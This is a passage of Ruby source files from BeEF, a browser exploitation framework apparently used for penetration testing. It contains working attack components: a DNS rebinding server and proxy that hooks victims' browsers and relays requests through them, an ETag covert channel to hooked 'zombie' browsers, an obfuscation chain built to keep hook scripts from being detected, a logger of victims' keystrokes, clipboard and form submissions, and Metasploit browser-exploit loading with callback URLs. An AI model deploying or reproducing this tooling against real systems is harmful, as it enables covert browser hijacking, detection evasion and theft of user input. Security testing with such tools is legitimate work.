dns_resource = Resolv::DNS::Resource::IN::HINFO when 'MINFO' dns_resource = Resolv::DNS::Resource::IN::MINFO when 'MX' dns_resource = Resolv::DNS::Resource::IN::MX when 'NS' dns_resource = Resolv::DNS::Resource::IN::NS when 'PTR' dns_resource = Resolv::DNS::Resource::IN::PTR when 'SOA' dns_resource = Resolv::DNS::Resource::IN::SOA when 'TXT' dns_resource = Resolv::DNS::Resource::IN::TXT when 'WKS' dns_resource = Resolv::DNS::Resource::IN::WKS else raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' end # Add rule id = @dns.add_rule( pattern: pattern, resource: dns_resource, response: response ) # Return result result = {} result['success'] = true result['id'] = id result.to_json rescue InvalidJsonError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while adding DNS rule (#{e.message})" halt 500 end # Removes a rule given its id delete '/rule/:id' do id = params[:id] removed = @dns.remove_rule!(id) raise InvalidParamError, 'id' if removed.nil? result = {} result['success'] = removed result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while removing DNS rule with id #{id} (#{e.message})" halt 500 end # Raised when invalid JSON input is passed to an /api/dns handler. class InvalidJsonError < StandardError DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler' def initialize(message = nil) super(message || DEFAULT_MESSAGE) end end # Raised when an invalid named parameter is passed to an /api/dns handler. class InvalidParamError < StandardError DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler' def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/dns handler' message = format str, message unless message.nil? super(message) end end end end end end ================================================ FILE: extensions/dns_rebinding/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module DNSRebinding module API module ServHandler BeEF::API::Registrar.instance.register( BeEF::Extension::DNSRebinding::API::ServHandler, BeEF::API::Server, 'pre_http_start' ) def self.pre_http_start(_http_hook_server) config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') address_http = config['address_http_internal'] address_proxy = config['address_proxy_internal'] port_http = config['port_http'] port_proxy = config['port_proxy'] Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) } Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) } end end end end end end ================================================ FILE: extensions/dns_rebinding/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: dns_rebinding: enable: false name: 'DNS Rebinding' authors: ['Milovanov T.I.'] #Addresses are split into internal/external for more convenient attack #from LAN. address_http_internal: '192.168.x.x' address_http_external: 'x.x.x.x' address_proxy_internal: '192.168.x.x' address_proxy_external: 'x.x.x.x' port_http: 80 port_proxy: 81 debug_mode: true ================================================ FILE: extensions/dns_rebinding/dns_rebinding.rb ================================================ module BeEF module Extension module DNSRebinding # Very simple HTTP server. Its task is only hook victim class Server @debug_mode = false def self.log(msg) warn msg.to_s if @debug_mode end def self.run_server(address, port) server = TCPServer.new(address, port) @debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode') loop do s = server.accept Thread.new(s) do |socket| victim_ip = socket.peeraddr[2].to_s log "-------------------------------\n" log '[Server] Incoming request from ' + victim_ip + "(Victim)\n" response = File.read(File.expand_path('views/index.html', __dir__)) configuration = BeEF::Core::Configuration.instance proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' hook_file = configuration.get('beef.http.hook_file') hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}" response.sub!('path_to_hookjs_template', hook_uri) start_string = socket.gets socket.print "HTTP/1.1 200 OK\r\n" + "Content-Type: text/html\r\n" + "Content-Length: #{response.bytesize}\r\n" + "Connection: close\r\n" socket.print "\r\n" socket.print response socket.close # Indicate that victim load all javascript and we can block it with iptables. dr_config = configuration.get('beef.extension.dns_rebinding') if start_string.include?('load') log "[Server] Block with iptables\n" port_http = dr_config['port_http'] if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer) IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'], 'r+') do |io| end else print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.' end end log "-------------------------------\n" end end end end class Proxy @queries = Queue.new @responses = {} @mutex_responses = nil @mutex_queries = nil @debug_mode = false def self.send_http_response(socket, response, heads = {}) socket.print "HTTP/1.1 200 OK\r\n" headers = {} headers['Content-Type'] = 'text/html' headers['Content-Length'] = response.size.to_s headers['Connection'] = 'close' headers['Access-Control-Allow-Origin'] = '*' headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS' headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path' headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path' headers_a = heads.to_a headers_a.each do |header, value| headers[header] = value end headers.to_a.each do |header, value| socket.print header + ': ' + value + "\r\n" end socket.print "\r\n" socket.print response end def self.log(log_message) warn log_message if @debug_mode end def self.read_http_message(socket) message = {} message['start_string'] = socket.gets.chomp message['headers'] = {} message['response'] = '' c = socket.gets while c != "\r\n" name = c[/(.+): (.+)/, 1] value = c[/(.+): (.+)/, 2] message['headers'][name] = value.chomp c = socket.gets end length = message['headers']['Content-Length'] if length # Ruby read() doesn't return while not read all byte resp = socket.read(length.to_i) message['response'] = resp end message end def self.handle_victim(socket, http_message) log "[Victim]request from victim\n" log http_message['start_string'].to_s + "\n" if http_message['start_string'].include?('POST') # Get result from POST query log "[Victim]Get the result of last query\n" # Read query on which asked victim query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2] log '[Victim]asked path: ' + query + "\n" length = http_message['headers']['Content-Length'].to_i content_type = http_message['headers']['Content-Type'] log '[Victim]Content-type: ' + content_type.to_s + "\n" log '[Vicitm]Length: ' + length.to_s + "\n" response = http_message['response'] log "[Victim]Get content!\n" send_http_response(socket, 'ok') socket.close log "[Victim]Close connection POST\n" log "--------------------------------\n" @mutex_responses.lock @responses[query] = [content_type, response] @mutex_responses.unlock elsif http_message['start_string'].include?('OPTIONS') send_http_response(socket, '') socket.close log "[Victim]Respond on OPTIONS reques\n" log "--------------------------------\n" else # Look for queues from beef owner log "[Victim]Waiting for next query..\n" while @queries.size == 0 end # Get the last query @mutex_queries.lock log "[Victim]Get the last query\n" last_query = @queries.pop log '[Victim]Last query:' + last_query.to_s + "\n" @mutex_queries.unlock response = last_query[2] send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] }) log "[Victim]Send next query to victim's browser\n" log "---------------------------------------------\n" socket.close end end # Handle request from BeEF owner def self.handle_owner(socket, http_message) log "[Owner]Request from owner\n" path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2] if http_message['start_string'].include?('GET') unless path.nil? log '[Owner]Need path: ' + path + "\n" @queries.push(['GET', path, '']) end elsif http_message['start_string'].include?('POST') log "[Owner]Get POST request\n" @queries.push(['POST', path, http_message['response']]) unless path.nil? end # Waiting for response, this check should not conflict with thread 2 while @responses[path].nil? end @mutex_responses.lock log "[Owner]Get the response\n" response_a = @responses[path] @mutex_responses.unlock response = response_a[1] content_type = response_a[0] send_http_response(socket, response, { 'Content-Type' => content_type }) log "[Owner]Send response to owner\n" log "-------------------------------\n" socket.close end def self.run_server(address, port) @server = TCPServer.new(address, port) @mutex_responses = Mutex.new @mutex_queries = Mutex.new @debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode') loop do s = @server.accept Thread.new(s) do |socket| http_message = read_http_message(socket) if http_message['start_string'].include?('from_victim') handle_victim(socket, http_message) else handle_owner(socket, http_message) end end end end end end end end ================================================ FILE: extensions/dns_rebinding/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module DNSRebinding extend BeEF::API::Extension @short_name = 'DNS Rebinding' @full_name = 'DNS Rebinding' @description = 'DNS Rebinding extension' end end end require 'extensions/dns_rebinding/api' require 'extensions/dns_rebinding/dns_rebinding' ================================================ FILE: extensions/dns_rebinding/views/index.html ================================================ ================================================ FILE: extensions/etag/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module ETag module API module ETagHandler BeEF::API::Registrar.instance.register( BeEF::Extension::ETag::API::ETagHandler, BeEF::API::Server, 'mount_handler' ) def self.mount_handler(beef_server) beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!) print_info 'ETag Server: /etag' end end end end end end ================================================ FILE: extensions/etag/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: etag: enable: false name: 'Server-to-Client Etag Tunnel' authors: ["ovbroslavsky", "neoleksov"] ================================================ FILE: extensions/etag/etag.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module ETag require 'sinatra/base' require 'singleton' class ETagMessages include Singleton attr_accessor :messages def initialize @messages = {} end end class ETagWebServer < Sinatra::Base def create_ET_header inode = File.stat(__FILE__).ino size = 3 mtime = (Time.now.to_f * 1_000_000).to_i "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L" end get '/:id/start' do data = ETagMessages.instance.messages[params[:id].to_i] $etag_server_state = {} unless defined?($etag_server_state) $etag_server_state[params[:id]] = {} $etag_server_state[params[:id]][:cur_bit] = -1 $etag_server_state[params[:id]][:last_header] = create_ET_header $etag_server_state[params[:id]][:message] = data headers 'ETag' => $etag_server_state[params[:id]][:last_header] body 'Message start' end get '/:id' do return 'Not started yet' if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil? if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1 $etag_server_state[params[:id]][:cur_bit] += 1 else $etag_server_state.delete(params[:id]) status 404 return 'Bing' end $etag_server_state[params[:id]][:last_header] = create_ET_header if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1' headers 'ETag' => $etag_server_state[params[:id]][:last_header] body 'Bit' end end end end end ================================================ FILE: extensions/etag/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module ETag extend BeEF::API::Extension @short_name = 'ETag' @full_name = 'Server-to-Client ETag-based Covert Timing Channel' @description = 'This extension provides a custom BeEF HTTP server ' \ 'that implements unidirectional covert timing channel from ' \ 'BeEF communication server to zombie browser over Etag header.' end end end require 'extensions/etag/api' require 'extensions/etag/etag' ================================================ FILE: extensions/evasion/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: evasion: enable: false name: 'Evasion' authors: ["antisnatchor"] # Exclude code JavaScript libraries exclude_core_js: ["lib/jquery-1.12.4.min.js", "lib/json2.js", "lib/mdetect.js"] # Obfuscation methods are executed in the order in which they're provided here # Available techniques: ["minify", "base_64", "whitespace"] chain: ["minify", "base_64"] # experimental (broken - do not use): scramble_variables: false scramble_cookies: false scramble: beef: "beef" Beef: "Beef" evercookie: "evercookie" BeEF: "BeEF" ================================================ FILE: extensions/evasion/evasion.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Evasion class Evasion include Singleton @@config = BeEF::Core::Configuration.instance @@enabled = @@config.get('beef.extension.evasion.enable') def initialize return unless @@enabled @techniques ||= load_techniques if @techniques.empty? print_error '[Evasion] Initialization failed. No obfuscation techniques specified.' @@config.set('beef.extension.evasion.enable', false) return end print_debug "[Evasion] Loaded obfuscation chain: #{@techniques.join(', ')}" end # load obfuscation technique chain def load_techniques techniques = @@config.get('beef.extension.evasion.chain') || [] return [] if techniques.empty? chain = [] techniques.each do |technique| unless File.exist?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb") print_error "[Evasion] Failed to load obfuscation technique '#{technique}' - file does not exist" next end chain << technique end chain rescue StandardError => e print_error "[Evasion] Failed to load obfuscation technique chain: #{e.message}" [] end # Obfuscate the input JS applying the chain of techniques defined in the main config file. def obfuscate(input) @input = apply_chain(input) end def add_bootstrapper bootstrap = '' # add stuff at the end, only once (when serving the initial init javascript) @techniques.each do |technique| # Call the "execute" method of the technique module, passing the input and update # the input in preperation for the next technique in the chain klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance if klass.need_bootstrap? print_debug "[Evasion] Adding bootstrapper for technique: #{technique}" bootstrap << klass.get_bootstrap end end bootstrap rescue StandardError => e print_error "[Evasion] Failed to bootstrap obfuscation technique: #{e.message}" print_error e.backtrace end def apply_chain(input) output = input @techniques.each do |technique| # Call the "execute" method of the technique module, passing the input and update # the input in preperation for the next technique in the chain print_debug "[Evasion] Applying technique: #{technique}" klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance output = klass.execute(output, @@config) end print_debug "[Evasion] Obfuscation completed (#{output.length} bytes)" output rescue StandardError => e print_error "[Evasion] Failed to apply obfuscation technique: #{e.message}" print_error e.backtrace end end end end end ================================================ FILE: extensions/evasion/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Evasion extend BeEF::API::Extension @short_name = 'evasion' @full_name = 'Evasion' @description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected' end end end require 'extensions/evasion/evasion' # require 'extensions/evasion/obfuscation/scramble' require 'extensions/evasion/obfuscation/minify' require 'extensions/evasion/obfuscation/base_64' require 'extensions/evasion/obfuscation/whitespace' ================================================ FILE: extensions/evasion/obfuscation/base_64.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Evasion class Base_64 include Singleton def need_bootstrap? true end def get_bootstrap # the decode function is obfuscated, and it's called "dec" # (see below in "execute", where it is used) 'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};' end def execute(input, _config) encoded = Base64.strict_encode64(input) # basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-) var_name = BeEF::Core::Crypto.random_alphanum_string(3) input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();" print_debug '[OBFUSCATION - Base64] Javascript has been base64 encoded' input end end end end end ================================================ FILE: extensions/evasion/obfuscation/minify.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Evasion require 'uglifier' class Minify include Singleton def need_bootstrap? false end def execute(input, config) opts = { output: { comments: :none }, compress: { # show warnings in debug mode warnings: (config.get('beef.debug') ? true : false), # remove dead code dead_code: true, # remove all beef.debug calls (console.log wrapper) unless client debugging is enabled pure_funcs: (config.get('beef.client_debug') ? [] : ['beef.debug']), # remove all console.log calls unless client debugging is enabled drop_console: (config.get('beef.client_debug') ? false : true) } } output = Uglifier.compile(input, opts) print_debug '[OBFUSCATION - Minifier] JavaScript has been minified' output rescue StandardError => e print_error "[OBFUSCATION - Minifier] JavaScript couldn't be minified: #{e.messsage}" input end end end end end ================================================ FILE: extensions/evasion/obfuscation/scramble.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Evasion class Scramble include Singleton def need_bootstrap? false end def execute(input, config) @output = input to_scramble = config.get('beef.extension.evasion.scramble') to_scramble.each do |var, value| if var == value # Variables have not been scrambled yet mod_var = BeEF::Core::Crypto.random_alphanum_string(3) @output.gsub!(var, mod_var) config.set("beef.extension.evasion.scramble.#{var}", mod_var) print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]" else # Variables already scrambled, re-use the one already created to maintain consistency @output.gsub!(var, value) print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]" end @output end if config.get('beef.extension.evasion.scramble_cookies') # ideally this should not be static, but it's static in JS code, so fine for nowend mod_cookie = BeEF::Core::Crypto.random_alphanum_string(5) if config.get('beef.http.hook_session_name') == 'BEEFHOOK' @output.gsub!('BEEFHOOK', mod_cookie) config.set('beef.http.hook_session_name', mod_cookie) print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]" else @output.gsub!('BEEFHOOK', config.get('beef.http.hook_session_name')) print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]" end end @output end end end end end ================================================ FILE: extensions/evasion/obfuscation/whitespace.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Evasion class Whitespace include Singleton def need_bootstrap? true end def get_bootstrap # the decode function is in plain text - called IE-spacer - because trolling is always a good idea "//Dirty IE6 whitespace bug hack if (typeof IE_spacer === 'function') {} else { function IE_spacer(css_space) { var spacer = ''; for(y = 0; y < css_space.length/8; y++) { v = 0; for(x = 0; x < 8; x++) { if(css_space.charCodeAt(x+(y*8)) > 9) { v++; } if(x != 7) { v = v << 1; } } spacer += String.fromCharCode(v); }return spacer; }}" end def execute(input, _config) size = input.length encoded = encode(input) var_name = BeEF::Core::Crypto.random_alphanum_string(3) input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();" print_debug "[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced" input end def encode(input) output = input.unpack('B*') output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ') end end end end end ================================================ FILE: extensions/events/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Events # Mounts the handler for processing browser events. # # @param beef_server [BeEF::Core::Server] HTTP server instance module RegisterHttpHandler BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') def self.mount_handler(beef_server) beef_server.mount('/event', BeEF::Extension::Events::Handler) end end end end end ================================================ FILE: extensions/events/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: events: enable: false name: 'Events' ================================================ FILE: extensions/events/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Events extend BeEF::API::Extension @short_name = 'events_logger' @full_name = 'Event Logger' @description = 'Logs browser events, such as mouse clicks, keystrokes, and form submissions.' end end end require 'extensions/events/handler' require 'extensions/events/api' ================================================ FILE: extensions/events/handler.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Events # # The http handler that manages the Events. # class Handler HB = BeEF::Core::Models::HookedBrowser def initialize(data) @data = data setup end def setup beef_hook = @data['beefhook'] || nil unless BeEF::Filters.is_valid_hook_session_id?(beef_hook) print_error('[Event Logger] Invalid hooked browser session') return end # validates that a hooked browser with the beef_hook token exists in the db zombie = HB.where(session: beef_hook).first || nil if zombie.nil? print_error('[Event Logger] Invalid beef hook id: the hooked browser cannot be found in the database') return end events = @data['results'] || nil unless events.is_a?(Array) print_error("[Event Logger] Received event data of type #{events.class}; expected Array") return end # push events to logger logger = BeEF::Core::Logger.instance events.each do |event| unless event.is_a?(Hash) print_error("[Event Logger] Received event data of type #{event.class}; expected Hash") next end if event['type'].nil? print_error("[Event Logger] Received event with no type: #{event.inspect}") next end data = event_log_string(event) next if data.nil? logger.register('Event', data, zombie.id) end end private def event_log_string(event) return unless event.is_a?(Hash) event_type = event['type'] return if event_type.nil? case event_type when 'click' result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}" when 'focus' result = "#{event['time']}s - [Focus] Browser window has regained focus." when 'copy' result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\"" when 'cut' result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\"" when 'paste' result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\"" when 'blur' result = "#{event['time']}s - [Blur] Browser window has lost focus." when 'console' result = "#{event['time']}s - [Console] #{event['data']}" when 'keys' print_debug "+++++++++++++++++ Key mods: #{event['mods']}" print_debug "EventData: #{event['data']}" result = "#{event['time']}s - [User Typed] #{event['data']}" if event['mods'].size.positive? result += " (modifiers: #{event['mods']})" end when 'submit' result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}" else print_debug("[Event Logger] Event handler has received event of unknown type '#{event_type}'") result = "#{event['time']}s - Unknown event '#{event_type}'" end result end end end end end ================================================ FILE: extensions/metasploit/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Metasploit module API module MetasploitHooks BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load') BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Server, 'mount_handler') # Load modules from metasploit just after all other module config is loaded def self.post_soft_load msf = BeEF::Extension::Metasploit::RpcClient.instance timeout = 10 connected = false Timeout.timeout(timeout) do print_status("Connecting to Metasploit on #{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.host')}:#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.port')}") connected = msf.login rescue Timeout::Error return end return unless connected msf_module_config = {} path = "#{$root_dir}/#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')}/msf-exploits.cache" if !BeEF::Core::Console::CommandLine.parse[:resetdb] && File.exist?(path) print_debug 'Attempting to use Metasploit exploits cache file' raw = File.read(path) begin msf_module_config = YAML.safe_load(raw) rescue StandardError => e print_error "[Metasploit] #{e.message}" print_error e.backtrace end count = 1 msf_module_config.each do |k, _v| BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k]) BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k, nil]) BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil]) print_over "Loaded #{count} Metasploit exploits." count += 1 end print "\r\n" else msf_modules = msf.call('module.exploits') count = 1 msf_modules['modules'].each do |m| next unless m.include? '/browser/' m_details = msf.call('module.info', 'exploit', m) next unless m_details key = "msf_#{m.split('/').last}" # system currently doesn't support multilevel categories # categories = ['Metasploit'] # m.split('/')[0...-1].each{|c| # categories.push(c.capitalize) # } if m_details['description'] =~ /Java|JVM|flash|Adobe/i target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY => ['ALL'] } elsif m_details['description'] =~ /IE|Internet\s+Explorer/i target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['IE'] } elsif m_details['description'] =~ /Firefox/i target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['FF'] } elsif m_details['description'] =~ /Chrome/i target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['C'] } elsif m_details['description'] =~ /Safari/i target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['S'] } elsif m_details['description'] =~ /Opera/i target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] } end # TODO: # - Add support for detection of target OS # - Add support for detection of target services (e.g. java, flash, silverlight, ...etc) # - Add support for multiple target browsers as currently only 1 browser will match or all msf_module_config[key] = { 'enable' => true, 'msf' => true, 'msf_key' => m, 'name' => m_details['name'], 'category' => 'Metasploit', 'description' => m_details['description'], 'authors' => m_details['references'], 'path' => path, 'class' => 'Msf_module', 'target' => target_browser } BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key]) BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil]) BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil]) print_over "Loaded #{count} Metasploit exploits." count += 1 end print "\r\n" File.open(path, 'w') do |f| f.write(msf_module_config.to_yaml) print_debug("Wrote Metasploit exploits to cache file: #{path}") end end BeEF::Core::Configuration.instance.set('beef.module', msf_module_config) end # Get module options + payloads when the beef framework requests this information def self.get_options(mod) msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") return if msf_key.nil? msf = BeEF::Extension::Metasploit::RpcClient.instance return unless msf.login msf_module_options = msf.call('module.options', 'exploit', msf_key) com = BeEF::Core::Models::CommandModule.where(name: mod).first unless msf_module_options print_error "Unable to retrieve metasploit options for exploit: #{msf_key}" return end options = BeEF::Extension::Metasploit.translate_options(msf_module_options) options << { 'name' => 'mod_id', 'id' => 'mod_id', 'type' => 'hidden', 'value' => com.id } msf_payload_options = msf.call('module.compatible_payloads', msf_key) print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" unless msf_payload_options options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options) options end # Execute function for all metasploit exploits def self.override_execute(mod, hbsession, opts) msf = BeEF::Extension::Metasploit::RpcClient.instance msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") msf_opts = {} opts.each do |opt| next if %w[e ie_session and_module_id].include? opt['name'] msf_opts[opt['name']] = opt['value'] end if !msf_key.nil? && msf.login # Are the options correctly formatted for msf? # This call has not been tested msf.call('module.execute', 'exploit', msf_key, msf_opts) end hb = BeEF::HBManager.get_by_session(hbsession) unless hb print_error "Could not find hooked browser when attempting to execute module '#{mod}'" return false end bopts = [] proto = msf_opts['SSL'] ? 'https' : 'http' config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit') uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}" bopts << { sploit_url: uri } 